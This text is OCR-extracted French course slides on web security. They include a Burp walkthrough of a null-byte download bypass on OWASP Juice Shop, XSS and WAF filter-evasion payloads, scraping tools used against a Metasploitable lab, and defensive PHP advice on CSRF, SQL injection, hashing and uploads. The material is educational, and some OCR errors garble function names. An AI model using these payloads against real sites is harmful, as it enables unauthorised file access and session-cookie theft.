quarantine [Z) acquisitions.md [ ) coupons_2013.md.bak
[ ) eastere.gg [ ) incident-support.kdbx [Z) legal.md
D package.json.bak @ suspicious_errors.yml

2989



[ Introduction a la cybersécurité / Le monde du web ]

Nous pouvons afficher le contenu du fichier legal.md :

27/5:

Par contre, il est impossible d’afficher ou de télécharger un fichier d’extension autre

que .md ou .pdf. Le message d’erreur ci-dessous s’affiche alors :

OWASP Juice Shop
(Express ~4.16.4)

403 Error: Only .md and .pdf files are allowed!

Interceptons une requéte interdite avec Burp (ici on essaye de télécharger le fichier

non accessible coupons_2013.md.bak) :

OO

Burp Suite Commt
Burp Intruder Repeater Window Help

[Target M Spider TScanner T Intruder T Repeater TSequencer T Decoder TCompare

HTTP history | WebSockets history | Options |

Request to http://detectportal. firefox.com:80 [95.100.96.225]

[ Forward ] [ Drop

M Headers THex ]

GET /ftp/coupons_2013.md.bak HTTP/1.1

Host: 10.0.2.11:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr-BE,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.6.2.11:3000/ftp

Cookie: language=fr_FR; continueCode=8B7RWN9JzX7qM2aQ4Kwrml5nVd89H8hzcBGOpZD8ol6veBEl

Connection: close
Upgrade-Insecure-Requests: 1
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27/6:

On peut lire la requéte interceptée :

GET /ftp/coupons_2013.md.bak HTTP/1.1

Host: 10.0.2.11:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr-BE,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.11:3000/ftp

Cookie: language=fr_FR;
continueCode=8B7RWN9JzX7qM2aQ4KwrmI5nVd89H8hzcBGOpZD8o16veBEbgYjLPy3xkyQp;
io=ITnCJsJbHBEe7bWtAAAB

Connection: close

Upgrade-Insecure-Requests: 1

Il nous suffit maintenant d’injecter un octet nul dans la premiére ligne afin de pouvoir
télécharger le fichier interdit. Un octet nul est %00 ou 0x00. Il faut encoder le caractére
% (son encodage vaut %25), et donc %00 s’encode en %2500. Je place I'octet nul aprées
I’extension .bak et je fais suivre I'octet nul d’une des extensions autorisées (ici .md ou

.pdf). La premiére ligne devient alors :

GET /ftp/coupons_2013.md.bak%2500.md http/1.1

De cette facon, je fais croire au serveur que je télécharge un fichier .md, ce qui est
permis. La stratégie fonctionne et il est enfin possible de télécharger le fichier

inaccessible :

Opening coupons_2013.md.bak (%]

You have chosen to open:
=" coupons_2013.md.bak

which is: BIN file (142 bytes)
from: http://10.0.2.11:3000

Would you like to save this file?

Cancel H Save File

REUSSITE DE CETTE INJECTION D’OCTET NUL !
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Tests de sécurité automatisés

Il existe de nombreux outils automatisés utiles au testeur d’intrusion. En voici

quelques-uns :

1. Airodump-ng attaque de réseaux Wi-Fi

2. Armitage exploitation et post-exploitation
3. BeEF hook de navigateurs

4. Cain & Abel outil multifonction

5. Core Impact exploitation et post-exploitation
6. Dirbuster reconnaissance

7. Ettercap attaque MITM

8. Fern Wi-Fi cracker attaque de réseaux Wi-Fi

9. Hashcat cassage de mots de passe

10. Havij injection SQL

11. Hydra cassage de mots de passe

12. John The Ripper cassage de mots de passe

13. Maltego collecte d’informations

14. Metasploit exploitation et post-exploitation
15. Nessus scan de vulnérabilités

16. NeXpose scan de vulnérabilités

17. Nmap scan de ports

18. OpenVAS scan de vulnérabilités

19. OWASP ZAP scan de vulnérabilités web

20. Patator cassage de mots de passe

21. RIPS analyseur de code PHP

22. SearchDiggity Google hacking

23. Skipfish scan de vulnérabilités web

24. SQLMap injection SQL

25. Yersinia DHPC spoofing, DHPC starvation

Nous avons déja parlé de la majorité de ces outils. Je vais maintenant juste en décrire

un : RIPS.

|@®@@|
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2/8:

RIPS : un analyseur de code PHP

5 C @ © @ localhost/rips-master, B e w neoBg®e®x 0 @

path / file: | M subdirs

verbosity level: BB : [ scan

code style || bottom-up Iregex/ search

Quickstart:

Locate your local PHP source code pathifile (e.g. Aarivww/project1/ or Aariww/index.php), choose the vulnerability type you are looking for and
click scan!

Check subdirs to include all subdirectories into the scan. It is recommended to scan only the root directory of your project. Files in subdirectories will
be automatically scanned by RIPS when included by the PHP code. However enabling subdirs can improve the scan result and the include success
rate (shown in the result).

Advanced:
Debug errors or improve your scan result by choosing a different verbosity level (default level 1 is recommended).
After the scan finished 4 new button will appear in the upper right. You can select between different types of vulnerabilities that have been found by

clicking on their name in the stats window. You can click user input in the upper right to get a list of entry points. functions for a list and graph of all
user defined functions or files for a list and graph of all scanned files and their includes. All lists are referenced to the Code Viewer.

Style:

Change the syntax highlighting schema on-the-fly by selecting a different code style.

Rafnra maamninm ingann ahannna pihink s dhaanda fape ahald bo Adinnlacads lhpdfame tim e b almsseem

Introduisons un répertoire contenant des fichiers PHP a analyser.

subdirs

vuln type: B

Result

File Inclusion:
SQL Injection:
Sum:

Scanned files: 3
Include success: 0/1 (0%)
Considered sinks: 298
User-defined functions: 0 I'analyse tombe en

Unique sources: 8 ' quelques secondes :
Sensitive sinks: 7 . ey
3 vulnérabilités ont

Le résultat de

Info: uses sessions été découvertes.
Info: using DBMS MySQL

Scan time: 0.026 seconds

GloLe
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E SQL Injection
EE Userinput reaches sensitive sink. For more information, press the help icon on the left side.
@409

= mysgl_query ( )

* FROM articles WHERE id=' . ($_GET['id'])

Help - SQL Injection

SQL Injection

vulnerability concept:

Le boutons Help source sink vulnerability

nous donne des «$ GET + SQL Injection

renseignements

lé taires. e ek
SSRREISITEES vulnerability description:

La version 0.5 de RIPS utilisée ci-dessus est disponible a I’adresse :
https://github.com/ripsscanner/rips

Son développement est cependant abandonné, ainsi que la version suivante qui était

un moment disponible sur le web :

@ RIPS Bad Bank o & Peter Smith
Scan Summary Filter Issues Statistics Compliance Parent Comparison Settings
Scanning Code - 76%

Admin Panel - 1.0
ommand Injection

SHGLEEET Jan 4, 2019, 6:22:18 PM Overall Risk

(]

Scan Time

Lines of Code 415,912

Code Stored Yes

Analysis Depth Very high
Java Version Lo
Max. Issues per Type 500 Severity

Analyzed Issue Types

Severity Review Progress

» Process Details

B PDF Report
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Contourner un pare-feu d’applications web (WAF bypass)

L’encodage en base64 peut parfois fonctionner :
1?7qg= <script>alert(document.cookie)</script>
devient

1?q=<data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+>

Les caractéres génériques ou métacaracteres (wildcards) sont également parfois utiles sous
Linux pour contourner les firewalls d’applications web. Les commandes suivantes peuvent

mener a /etc/passwd :

En effet, bash capturera le premier fichier qui correspond au critére !

Exemples de chaines de contournement de filtre WAF par OWASP :

(https://owasp.org/www-community/xss-filter-evasion-cheatsheet)

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>">’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">
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Réaliser des captures d'écran (screenshotting) de sites web a

la volée avec GoWitnhess

Pour installer GoWitness, voir le site : https://github.com/sensepost/gowitness

:/opt/gowitness# ./gowitness
A commandline web screenshot and information gathering tool by @leonjza

Usage:
gowitness [command]

Available Commands:

file Screenshot URLs sourced from a file

help Help about any command

nmap Screenshot services from an Nmap XML file

report Work with gowitness reports

scan Scan a CIDR range and take screenshots along the way
single Take a screenshot of a single URL

version Prints the version of gowitness

Flags:

-g, --chrome-arg stringSlice
--chrome-path string
--chrome-time-budget int
--chrome-timeout int
--config string

-D, --db string

-d, --destination string
--disable-db

-h, --help
--log-format string
--log-level string
--resolution string
--timeout int
--user-agent string

Extra arguments to pass to chrome headless

Full path to the Chrome executable to use. By default, gowi

Time in seconds to wait for pending network requests when

Time in seconds to wait for Google Chrome to finish a scregq

config file (default is $HOME/.gowitness.yaml)

Destination for the gowitness database (default "gowitness,

Destination directory for screenshots (default ".")
Disable database features (wont write a gowitness.db)

help for gowitness

specify output (text or json) (default "text")

one of debug, info, warn, error, or fatal (default "info")
screenshot resolution (default "1440,900")

Time in seconds to wait for a HTTP connection (default 3)
Alternate UserAgent string to use for Google Chrome (defau

La commande FILE permet de réaliser les captures d’écran de sites Web a la volée a

partir d’une liste d’URL contenue dans un fichier texte. Voici I'aide de la commande

FILE :

:/opt/gowitness# ./gowitness file --help

Screenshot URLs sourced from a file. URLs in the source file should be
newline separated. Invalid URLs are simply logged and ignored.

For Example:

$ gowitness file -s ~/Desktop/urls
$ gowitness file --source ~/Desktop/urls --threads -2

Usage:

gowitness file [flags]

Flags:

-h, --help
--prefix-http
--prefix-https

-s, --source string

-t, --threads int

|@®@@|

help for file

Prefix file entries with http:// that have none
Prefix file entries with https:// that have none
The source file containing urls

Maximum concurrent threads to run (default 4)
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Sur le bureau, plagons dans un fichier texte (sites.txt) les trois adresses suivantes (on

pourrait en placer des dizaines voire des centaines !) :
https://lwww.bbc.com/
https://www.france.tv/
https://lwww.netflix.com

Langons la commande suivante :

: /opt/gowitness# ./gowitness file -s ~/Desktop/sites.txt

Génial : le programme ne prend que quelques secondes pour effectuer sa tache :

[2020-02-20 09:26:47] Screenshot taken
[2020-02-20 09:26:48] Screenshot taken
[2020-02-20 09:26:49] Screenshot taken
[2020-02-20 09:26:49] Complete

: /opt/gowitness# Jj

fronca-tv )

francestv o oue & wugoin O mevises

Unlimited movies; TV
shows, and more.

Watch anywhere, Cancelanytime.

Enjoy on your TV.
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Aspirer un site web avec le logiciel libre HTTrack

WinHTTrack Website Copier - [New Project 1] o o)==

Fichier Options Copiedesite Journal Fenétres Aide |
£ Local Disk <C:>
-N& CD Drive <D:> Bienvenue dans WinHT Track Website Copier!

Veuillez ciiquer sur le bouton SUIVANT F

m A L N 2 . d
- pour démarrer un nouveau projet Open Source offline browser
- ou reprendre un projet existant

HTTrack peut étre téléchargé sur le site :
https://www.httrack.com/

HTTrack ne fonctionne pas sur tous
les sites ni avec tous les types de pages.

Quitter Help

Ready [ [NUM | 7

“ WinHTTrack Website Copier - [gregoire_net.whtt] E]

Fichier Options Copie desite Journal Fenétres Aide
=&, Local Disk <C:>
B~ 1 Perflogs - Mode de copie de site automatique -
|, Program Files
-, Python27

I Users

Ltilisez Ia boite de dialogue pour entrer vos adresses URLs. On IntrOdUIt Ie nom dU Slte ICI '

. Wallpaper

T e T
(3 R E R E R Y

| Windows Action: Copie automatique de site(s) Web

[ autoexec.bat ; -
-[@) config.sys Adresse Web: (URL) 1 Aouter... |

-84 CD Drive <D:> | -

Paramétres de la copie du site I Définir les options... I

<Back Next > Anuer | Help

Il existe une alternative a HT Track :

Cyotek WebCopy

Ready — N7UM - ;
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Extraire des données d’un site web avec Web Data Extractor

Web Data Extractor

Web Data Extractor est
un programme payant.

0 WebExtractor System

¥, Session =)
Geanera
Sesgion name  Metazpiot Group
Tmelne New Session Save Load
Data source Agvanced
@ Sts () Search Engines I Ligt Fiter Cockosa. Caplurs
Start URL  hetp://152.168.56.117 It referer:
Depth 100 v| ¥ Postive [V] Negative
| Foced number of pages
Extraction data Cuetom data expressions: not complate
Cugtom data Custon Data Edeor - - Datal
TTURLs  [T] Proxy
Domaine
Metz Tage
/| Emals Aier
= Fiter
| Faxes Remove HTML Tags
Help Stan! Closa v
!W&MWMM?JO.TMVU:MVW.NMM! of your 15 day evaluation period. |-@ ﬁ
= ¢
kB & > ~
new sassion  edit sesson slad siop
Process log *Results Bad URLs (14) Stored Sessions B
Email (26)
Fiter
Emall Host 2
imsfdevi@imetasoe e, 216856117/ Metasotable2-Lowx 19216856117 |
Peter@Thoeny com 19216856117
Petar@Thoeny.com http.//
SomeWioName @somewhere test hitp:// o g
S i 2t /) Noms et courriels extraits
=@z com Hitp
rame @domai com hito:/ : de Metasploitable. 7
Peter@Thoeny com Mitp.//152.168 56 117w 7
secondary@home com secondary hitp://192.168.56. 117 Awi - ———— — -
Some Wi Name @somewbme Lasg! SomeWikiName hitp /152,168 56 11 7Awiki/TWikiDo . TWikiDocumertation 192.168.56.117
Peter@Thoeny.com Peter Fttp://192.168 56 117 Awkc/bin/view TWik  Man . Webindex 192.168.56,117
Peter@Thoeny.com Peter Milp.//192.168 56 117 wiki/bins/view... TWKi . Main . WebChanges 192.168.56.117
SomeWioNome@somewhere test Some WikiName hitp://152.168 56 117 Awiki/bin/view TWiko . TWio . TWicHistory 19216856117
a@z.com a htp://152.168 56117 Awk/bin/view... TWiki . TWiki . TedFomattingR...  192.168.56.117
name@doman com name http://192.168 56 117 Awiki/bin/vew ™Ik TWiko . TextFormattngR 192.168.56,117
mutitdzedevelopment @gmai com mutilidas-development hitp://152.168.56.117/mutildae/inda.... 192.168.56.117
Peter@Thoeny com Peter http://192.168 56 117 Awiki/bin/view TWiki . Main . PeterThoeny 19216856117
mutildze developmant @gmal com mutiidas-daveiooment hitp://192.168.56.117/mutilidae/ a.. 192.168.56.117
Peter@Thoeny com Peter hitp /152,168 56 117 Awiki/bin/sear TVWiki  Main {search resut) 152.168.56.117
yourhame&domain com yourName hittp://192.168 56 117Awk/bin/rdff/ .. TWilki - Main . TWhkilisers 1.1 v...  192.168.56.117
you@yourdamain com you Milp.//192.168 56 117Awkibin/view ..  TWiki . TWki . TWkiDocumenta.. 192.168.56.117
2&z com a hitp://192.168 56 117Awkei/bin/view .. TWiki . TWhko - TWioDocumenta...  192.168.56.117 -
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Protection contre le clickjacking

Pour vous protéger contre le clickjacking (voir la définition page suivante), il suffit de mettre

dans votre fichier .htaccess (a la racine du serveur) les deux lignes suivantes :

# Anti Clickjacking
Header always append X-FRAME-OPTIONS "SAMEORIGIN"

Voici un scan ZAP d’un site ou ces deux lignes sont absentes :

Ici, une version obsoléete

de jQuery a mettre a jour

. Alertes (7)
Y Vulnerable JS Library
| ¥ X-Frame-Options Header Not Set (3) |

B GET: hitp://127.0.0.1/site 1
| | GET: hitp://127.0.0.1/site1/
| | POST: hitp:11127.0.0.1/site1/

U Absence de Jetons Anti-CSRF (3)

U Server Leaks Information via "X-Powered-By" HTTP Response

i Timestamp Disclosure - Unix (386)

i X-Content-Type-Options Header Missing (47)

0 Information Disclosure - Suspicious Comments (7)

» La vulnérabilité est bien découverte par le scanner !

2

X-Frame-Options Header Not Set
URL: http://127.0.0.1/site1
Risque: ¥ Medium

Confiance: Medium

Paramétre: X-Frame-Options

Attaquer:

Preuve :

IdCWE: 1021

Id WASC: 15

Source: Passif (10020 - X-Frame-Options Header)
Déscription:

X-Frame-Options header is notincluded in the HTTP response to protect against 'ClickJacking’ attacks.
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Voici un scan ZAP du méme site ou ces deux lignes ont été ajoutées :

. Alertes (6)
4 Vulnerable JS Library
U Absence de Jetons Anti-CSRF (3)
0 Server Leaks Information via "X-Powered-By" HTTP Response
U Timestamp Disclosure - Unix (386)
- X-Content-Type-Opticns Header Missing (47)
W Information Disclosure - Suspicious Comments (7)

2

La vulnérabilité n’est plus présente dans I'application web !

Définition

Le clickjacking est une technique qui permet a un attaquant de placer une interface
invisible entre vous et le site que vous visitez et voyez a I'écran. Ainsi, vous croyez
par exemple insérer vos identifiants de connexion dans une page du site de votre
banque alors qu’en réalité ces données sont encodées dans le formulaire invisible

d’un site malveillant qui les envoie a un pirate.
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Broken authentication and session management

Reégles a suivre pour la gestion des mots de passe

Définir des mots de passe forts.

Changer les mots de passe réguliérement.

Limiter le nombre de tentatives de connexion par un blocage.

Ne jamais, c6té serveur, journaliser les mots de passe corrects ou erronés.
Prévenir I'utilisateur en cas d’échec de connexion.

Afficher un message générique sans trop d’'information en cas d’échec du login.
Sécuriser les requétes de login par SSL/TLS.

Toujours hacher et saler les mots de passe dans la base de données.

L 2 2 2N D R 2

Si, lors du login, un mot de passe ou un nom d’utilisateur est erroné, afficher un

message d’erreur qui ne précise pas lequel des deux éléments est inexact.

7

Lors d’'une récupération de mot de passe, ne jamais avertir le client de la validité
ou non-validité de I'adresse de courriel soumise.

= Le lien de récupération d’'un mot de passe doit expirer rapidement.

Régles a suivre pour la gestion des sessions

= Eviter de passer les identifiants de session par 'URL ou par un champ caché de

formulaire.

= Préférer le passage moins risqué des identifiants par les cookies.

= Soumettre en régle générale les formulaires par la méthode POST plutdt que par
la méthode GET.

=>» Pour une session sans cookie, on peut définir :

ini_set("session.use_trans_sid",1) ;

cela permettra a I'identifiant de session d’étre propagé a toutes les URL liées a
votre site web. Cela peut étre utile si le client interdit a son navigateur d’utiliser
les cookies.
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Exemple d’'une session sans cookie

Pour simuler une session sans cookie, vous pouvez créer plusieurs pages qui

contiennent, avant la balise <!IDOCTYPE html>, le code suivant :

<?php
ini_set("session.use_cookies", 0);
ini_set("session.use_only_cookies", 0);
ini_set("session.use_trans_sid", 1);
session_start();

?>

Vous pourrez, dans le code HTML de la page, vérifier si tout fonctionne

correctement avec le code suivant :

<?php
echo 'Nom de la session : ' . session_name() . '<br>";

echo 'ldentifiant de la session : ' . session_id() . '<br><br>"
echo 'SID :'. SID . '<br><br>"

\

Nom de la session : PHPSESSID
Identifiant de la session: ft60k0fv{25rcSbt5at395kajb

SID : PHPSESSID={t60k0fv{25rc5bt5at395kajb

Lorsque vous cliquerez sur un lien contenu dans cette page, l'identifiant de session

apparaitra par magie dans 'URL :

http://mon-site.net/page2.php?PHPSESSID=ft60k0fvf25rc5bt5at395kajb
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La prime aux bogues (bug bounty)

Un bug bounty consiste a rechercher des vulnérabilités dans un programme ou une application
web, en accord avec les développeurs du produit, afin d’obtenir une récompense qui sera

calculée en fonction de I'importance de la menace associée a la découverte.
Voici cinq plateformes célébres qui proposent des programmes de bug bounty :

= yeswehack.com (plateforme européenne)

= intigriti.com (plateforme européenne)
Un programme de bug bounty est
encore appelé VRP, pour
= bugcrowd.com Vulnerability Reward Program.

= synack.com

=>» hackerone.com

PROGRAMME / CHANGELOG / PRESSE / CARRIERES / YESWEHACK EDU / AUTRES SITES NOUS SUIVRE

A TATW® CHOISIRYESWEHACK  ENTREPRISES -  FAQ CONTACT S'INSCRIRE

GLOBAL BUG
BOUNTY
PLATFORM

Crowdsourced security &
Vulnerability Disclosure

France, Singapore, Switzerland, Germany

e nsouncss oo e connncros [
75
%f iNTIGRITI For companies  For researcl hers  Publicprograms  Leaderboard Request demo

Europe's #1 ethical
hacking and bug
bounty platform

Want to launch a bug bounty Want to hunt for vulnerabilities?
program?

- By

+300 +40 000 +3 mio
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b U. qC T O Wd Why Bugcrowd Products Solutions Researchers Programs Resources Company
Sce So

Security Differently

A new vision for
security

Bugcrowd gives you continuous, real-time vulnerability insights across your
expanding digital attack surface so you can eliminate critical threat “blind
spots” and strengthen your security posture.

Why Bugcrowd

ContactUs Blog Researcher Portal

Customer Portal

Login

|1ackel’0ne SOLUTIONS v  PRODUCTS v PARTNERS v

Peace of mind
from =

Weakness type

security’s
greatest
minds.

Get direct access to the world’s top
ethical hackers. Stress test systems,
hunt bugs, and fix vulnerabilities
before anyone else even knows they
exist.
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Deux idées fausses sur les bug bounties

Un bug bounty ne consiste ni a chasser les bugs (bug hunting) ni a effectuer
un test d’intrusion (penetration testing). Un bug bounty consiste seulement a
tester une cible qui a déja éteé préalablement validée par un testeur d’intrusion.
Le test d’intrusion est un travail initial alors que le bug bounty est un travail de
derniére ligne. Il est impératif dans le cadre d’'un bug bounty de ne pas utiliser
la méme méthodologie que le testeur d’intrusion sous peine de ne rien
découvrir : le travail aura déja été fait !

Certains cours que I'on vous propose sur Internet assurent vous faire gagner
beaucoup d’argent grace aux bug bounties. Il s’agit d’'un leurre, qui a d’ailleurs
la vie dure. Méme si vous excellez dans votre art et découvrez des bugs
importants, vous serez vite rempli d’amertume. Les trois raisons principales
sont :

= Les primes ne sont parfois pas a la hauteur des attentes.

= Les entreprises peuvent prendre un temps considérable avant de vous
payer.

= Siles gains sont effectivement aléatoires, les taxes que vous devrez payer
seront, elles, bien réelles.

[BUs sounthiv |
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Introduction a la sécurité avec PHP

Nous allons voir quatorze méthodes qui permettent de régler des problémes de sécurité importants.

Probléme n°1 : la faille XSS

La faille XSS permet de faire exécuter par le navigateur du code JavaScript a I'insu de
'internaute. Un vol de cookies de session est alors, par exemple, possible, ainsi qu’un
hook par BeEF.

La contre-mesure consiste a encoder tous les caractéres spéciaux qui ont une
équivalence en HTML en entités HTML a l’aide de la fonction htmlspecialchars(). On
pourrait aussi utiliser la fonction htmlentities(), mais cette derniéere encode tous les

caractéres éligibles (comme les lettres accentuées, ce qui n’est pas toujours souhaitable ...)
Exemple :
$msg_input = htmlispecialchars($_POST['message']) ;

$name_input = htmlentities($_GET['nom']) ;

Probléme n°2 : la faille CSRF

On vaici utiliser la technique du jeton : un jeton aléatoire est créé (il est enregistré dans

une variable de session), il est ajouté dans les liens soumis a I'internaute qui générent
une action coté serveur et sa valeur sera finalement vérifiée par le script auquel les liens
renvoient. Un hypothétique lien forgé par un hacker et cliqué par un internaute connecté

au site concerné ne possédera pas le bon jeton et sera rejeté par le script PHP.
Trois étapes :

1. Création du jeton dans une session :

$_SESSION['jeton’] = bin2hex(random_bytes(6)) ;

2. Intégration du jeton dans un lien qui génére une action de la part du serveur (ici la

suppression de l'utilisateur d’un forum) :

<a href="www.mon-site.net/erase.php?id=1234568&jeton=<?php echo $_SESSION['jeton'] ;

?>" > Cliquer ici pour supprimer l'utilisateur 123456</a>
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3. Vérification de la présence et de la valeur du jeton par le script qui traite la

requéte :

<?php
if( lempty($_SESSION['jeton']) && !empty($_GET['jeton']) &&
$_SESSION['jeton'] == $_GET['jeton"])

{
Il Traitement de la requéte
}
else
{
Il Refuser le traitement de la requéte car le lien a été forgé
Il par un hacker. Le pirate est donc démasqué !
}
?>

Probléme n°3 : I'injection SQL

La technique utilisée ici sera ’'emploi de requétes préparées : cela concerne les

requétes SQL dans lesquelles il y a des variables (qui sont injectables).

Par exemple, plutét que d’écrire :
<?php

try
{

/I On se connecte
$objetPdo = new PDO('mysql:host=localhost;dbname=ma_base’,

'user’, 'password’);

I On exécute la requéte
$req = $objetPdo->query("SELECT * FROM Client WHERE email =
$_POST['email']");
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/I On récupére le résultat
if ($req->fetch())

{
echo 'Le client indiqué existe bien !";
}
} catch (Exception $e)
{

die('Erreur : ' . $e->getMessage()); //die() est équivalent a exit()

}

?>

On écrira plutét, avec une requéte préparée plus sécurisée :

|@®@@|

<?php

try
{

I On se connecte
$objetPdo = new PDO('mysql:host=localhost;dbname=ma_base’,
'user’, 'password’);

Il On prépare la requéte
$req = $objetPdo->prepare("SELECT * FROM Client WHERE
email = :email”);

/I On lie la variable $_POST['email'] au paramétre :email
Il de la requéte préparée
$req->bindValue(":email’, $_POST['email’], PDO::PARAM_STR);
\\ J

/IOn exécute la requéte l

$req->execute();

/I On récupére le résultat : -
if ($req->fetch()) Il existe aussi :

PDO::PARAM_BOOL

echo 'Le client indiqué existe bien !";

} PDO::PARAM_NULL
i catch (Exception $e) PDO::PARAM_INT
die('Erreur : ' . $e->getMessage()); Etc...

}
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Probléme n°4 : I'injection de commande

Les fonctions system(), exec() et les guillemets obliques permettent en PHP d’exécuter

des commandes externes.
La chaine soumise a ces fonctions doit donc étre protégée.

On va ici se servir de la fonction escapeshellemd() qui protége les caractéres spéciaux

du shell (21 caractéres au total dont : &#;|*?~<>%()[]{}$\) en les échappant.

Exemples d’utilisation :

system(escapeshellcmd($cmd));

exec(escapeshellcmd($cmd));

Probléme n°5 : le vol de mot de passe

On va ici utiliser une fonction de hachage pour rendre le mot de passe inutilisable s’il

venait a étre dérobé.

Depuis PHP 5.5, il existe une nouvelle APl (Application Programming Interface) de

hachage des mots de passe. Les trois fonctions importantes a connaitre sont :

string password_hash($password, $algorithme) : hache un mot de passe
bool password_verify($password, $hash) : vérifie un couple mot-de-passe/hash

array password_get_info($hash) : retourne des informations sur un hash

Les algorithmes suivants sont actuellement supportés pour password_hash() :

o PASSWORD_DEFAULT - Utilisation de I'algorithme bcrypt (par défaut depuis PHP 5.5.0).
Notez que cette constante est concue pour changer dans le temps, au fur et a mesure
que des algorithmes plus récents et plus forts sont ajoutés a PHP. Pour cette raison, la
longueur du résultat issu de cet algorithme peut changer dans le temps, il est donc
recommandé de stocker le résultat dans une colonne de la base de données qui peut

contenir au moins 60 caracteéres (255 caractéres peut étre un trés bon choix).
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o PASSWORD_BCRYPT - Utilisation de I'algorithme CRYPT_BLOWFISH pour créer la clé
de hachage. Ceci va créer une clé de hachage standard crypt() utilisant I'identifiant
"$2y$". Le résultat sera toujours une chaine de 60 caractéres, ou FALSE si une erreur
survient.

o PASSWORD_ARGONZ2I - Utilisez I'algorithme de hachage Argon2 pour créer le hachage.

Source : http://php.net/manual/fr/function.password-hash.php

Soit le code suivant qui permet a un formulaire 'upload d’une image sur le serveur :

<form method="post" action="upload.php" enctype="multipart/form-data">
<label for="mon_image">Fichier (JPG ou PNG | max. 1 Mo) :</label><br />
<input type="hidden" name="MAX_FILE_SIZE" value="1048576" />
<input type="file" name="mon_image" id="mon_image" accept="image/png,
imagel/jpeg" /><br />
<input type="submit" name="submit" value="Envoyer" />

</form>

Explication :

e On a créé un champ caché qui détermine la taille maximale de l'image a
transférer sur le serveur (1Mo = 1.024Ko x 1.024Ko = 1.048.576 Ko). Attention, car
le fichier php.ini de votre hébergeur fixe de son c6té la taille maximale des
fichiers uploadés avec les directives upload_max_filesize et post_max_size.

e On utilise 'attribut accept (accept="image/png,image/jpg") dans la balise <input

type="file" />, ce qui autorise uniquement I'upload de fichiers PNG ou JPG.

La protection mise en place ci-dessus est cependant totalement illusoire, il est en effet
possible trés facilement de désactiver ces protections c6té client (grace par exemple

aux outils de développement du navigateur).

Il faut donc vérifier le type du fichier (et sa taille si on le désire) coté serveur avant de
’enregistrer. En effet, I’enregistrement d’un fichier PHP sur le serveur serait

extrémement dangereux pour la sécurité du site et du serveur.
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A priori, on pourrait récupérer cété serveur (grace au fichier upload.php) des
informations sur le fichier uploadé (nom original, type, taille, ...) a 'aide de la variable
superglobale $_FILES :

<?php
$_FILES['mon_image']['name']

/I Le nom original du fichier sur le disque de I’'internaute.

$_FILES['mon_image']['type']
Il Le type du fichier. Par exemple, cela peut étre « image/jpg ».

$_FILES['mon_image']['size']

/I La taille du fichier en octets.

$_FILES['mon_image']['tmp_name']

/I Le chemin du fichier temporaire sur le serveur.

$_FILES['mon_image']['error']
I/l Le code d'erreur, qui permet de savoir si le fichier a été uploadé correctement.

/I Ce code varie de 0 a 8 (0 signifie le succés de 'upload !)
>

Le type obtenu de cette maniére n'est cependant pas totalement fiable, car il dépend de
I'extension du fichier, qui peut étre modifiée par le pirate. Il ne faut pas avoir une
confiance aveugle en la variable $_FILES !
Pour vérifier le type et la taille d’un fichier uploadé, il est préférable d’utiliser les
fonctions :

mime_content_type($_FILES['my-file']['tmp_name']) et filesize($_FILES['my-file']['tmp_name'])

Une méthode beaucoup plus sécurisée serait de recréer I'image avec la fonction
imagecreatefromjpg($filename) ou la fonction imagecreatefrompng($filename) de la
bibliotheque GD (si celle-ci est activée par votre hébergeur). En cas de réussite, on
enregistre alors uniquement I'image recréée sur le serveur. Ceci est totalement
sécurisé. Cela dépasse cependant le niveau de cette introduction au hacking, je vous

laisse donc vous renseigner via Internet sur cette méthode, si cela vous intéresse...

IMPORTANT : lors d’un file upload, on renomme le fichier afin que son nouveau nom ne

puisse étre deviné par I'internaute qui I’a envoyé sur le serveur.
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Lors du développement d’une application PHP, il convient d’afficher un maximum
d’erreurs afin de pouvoir les corriger.

Dans la phase de production, au contraire, lorsque I’application est accessible en ligne,
il convient de ne surtout pas afficher d’erreurs car cela pourrait donner des informations

a un éventuel pirate (nom de la base de données, son mot de passe, ...)

On va pour cela se servir de deux fonctions :
= error_reporting() : fixe le niveau de rapport d’erreurs PHP

" ini_set() : modifie la valeur d’une option de configuration

La deuxiéme fonction est utile car on n’a pas toujours accés, avec son hébergeur, au

fichier php.ini.

Pour afficher un maximum d’erreurs en développement, on ajoute au début du fichier

les lignes suivantes :

<?php

error_reporting(-1) ; ou error_reporting(E_ALL) ;
ini_set('display_errors’, '1') ;

7>

Pour n’afficher aucune erreur en production, on ajoute au début du fichier les lignes

suivantes :

<?php

error_reporting(0) ;
ini_set('display_errors’, '0') ;
>

Probléme n°8 : lutter contre les robots spammeurs dans vos formulaires

Des robots spammeurs peuvent détecter les formulaires dans vos pages web et vous

envoyer du spam en remplissant automatiquement les champs contenus dans ceux-ci.
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La technique du Captcha permet de se protéger contre ce type d’attaque, mais cela n’est
pas trés esthétique et pas forcément agréable a I'utilisation pour les visiteurs de votre
site. Il existe une autre méthode qui vous protégera contre un grand nombre de robots

et qui est beaucoup plus simple a implémenter.

Voici la procédure :

1. On crée dans le formulaire un champ quelconque, par exemple un champ censé
représenter I'adresse de I'expéditeur du message avec un id="adresse" :

<input type="text" id="adresse" name="address" />

2. On cache ce champ aux internautes en lui appliquant le code CSS suivant :

#adresse { display:none; }

3. On ajoute une condition dans le code PHP qui traite I’envoi du formulaire :
if ($_POST['address'] !="") { ON NE TRAITE PAS LE FORMULAIRE }
else { ON TRAITE LE FORMULAIRE }

En effet, dans le cas ou un robot attaquerait votre site, il remplirait automatiquement
tous les champs du formulaire, méme celui qui est caché a I'utilisateur via un code CSS.
Il suffit donc de refuser les formulaires soumis qui posséderaient ce champ rempli.

Vous pouvez constater que cette technique est trés simple et est relativement efficace.
